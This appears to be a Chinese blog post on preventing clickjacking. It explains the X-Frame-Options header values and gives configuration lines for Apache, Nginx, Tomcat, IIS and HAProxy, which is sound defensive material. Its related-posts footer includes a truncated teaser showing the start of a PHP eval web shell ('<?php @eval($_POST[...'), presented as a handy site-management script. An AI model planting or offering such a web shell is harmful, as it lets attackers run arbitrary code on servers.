在不同环境下添加X-Frame-Options保护的方法

首先我们来看一段关于框架劫持的安全说明。

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a<frame>, <iframe> or <object> . Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Using X-Frame-Options
There are three possible values for X-Frame-Options:

DENY
The page cannot be displayed in a frame, regardless of the site attempting to do so.
SAMEORIGIN
The page can only be displayed in a frame on the same origin as the page itself.
ALLOW-FROM uri
The page can only be displayed in a frame on the specified origin.
In other words, if you specify DENY, not only will attempts to load the page in a frame fail when loaded from other sites, attempts to do so will fail when loaded from the same site. On the other hand, if you specify SAMEORIGIN, you can still use the page in a frame as long as the site including it in a frame is the same as the one serving the page.

文章里写到,在未设置相关的框架保护下,容易导致页面劫持,但是设置了框架的保护后并采用上述的三种保护方法中的任一种后,安全漏洞就得到了缓解,但是不同的平台有不同的方法。

Apache:

在配置文件中增加:

Header always append X-Frame-Options SAMEORIGIN

即可

Nginx:

同样在配置文件中增加:

add_header X-Frame-Options SAMEORIGIN

即可。

Tomcat:

这个比较特别,需要在页面里指定,当然也可以在web.xml里配,但是相当地复杂。

如在每个页面里增加:

response.addHeader( "X-Frame-Options", "SAMEORIGIN" )

xml的配置请看:https://www.owasp.org/index.php/Clickjacking_Protection_for_Java_EE。

IIS:

增加配置:

<system.webServer>
...

<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>

...
</system.webServer>

即可。

HAProxy:

增加:

rspadd X-Frame-Options:\ SAMEORIGIN

即可。

好了,请开始配置吧。

参考内容:

https://www.owasp.org/index.php/Clickjacking_Protection_for_Java_EE
https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
http://stackoverflow.com/questions/6666423/overcoming-display-forbidden-by-x-frame-options
相关推荐:
各种U盘启动模式简介(USB-HDD、ZIP、HDD+、ZIP+、USB-CDROM) 1、USB-HDD:硬盘仿真模式,DOS启动后显示C:盘。此模式兼容性很高,但对于一些只支持USB-ZIP模式的电脑则无法启动,特别是一些老爷机。 2、USB- …
Xposed相信安卓玩家都很熟悉了,它被誉为安卓root后最强神器,App可以利用Xposed框架实现一些不可思议的功能,比如说多窗口任务、通知栏变色等等。 如其他很多安卓神器一样,Xposed框架这款App诞生于安卓开 …
背景信息: 2019年4月03日,监测到Apache 官方发布安全更新,修复了多个安全漏洞,其中包含一个严重级别的提权漏洞(CVE-2019-0211)。成功利用此漏洞可能造成目标系统中低权限的子进程或线程提升至root权 …
WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。也可以把WordPress 当作一个内容管理系统(CMS)来使用。WordPress 是一个免费的开源项目,在GNU通 …
网站管理模块 放在网站上的脚本程序分两种: 1)“一句话(Eval)”:PHP, ASP, ASP.NET 的网站都可以,支持https。下面的代码放在网站目录即可开始管理,比FTP好用多了是不是:PHP: <?php @eval($_POST['ca …
拿起手机扫一扫即可带走我!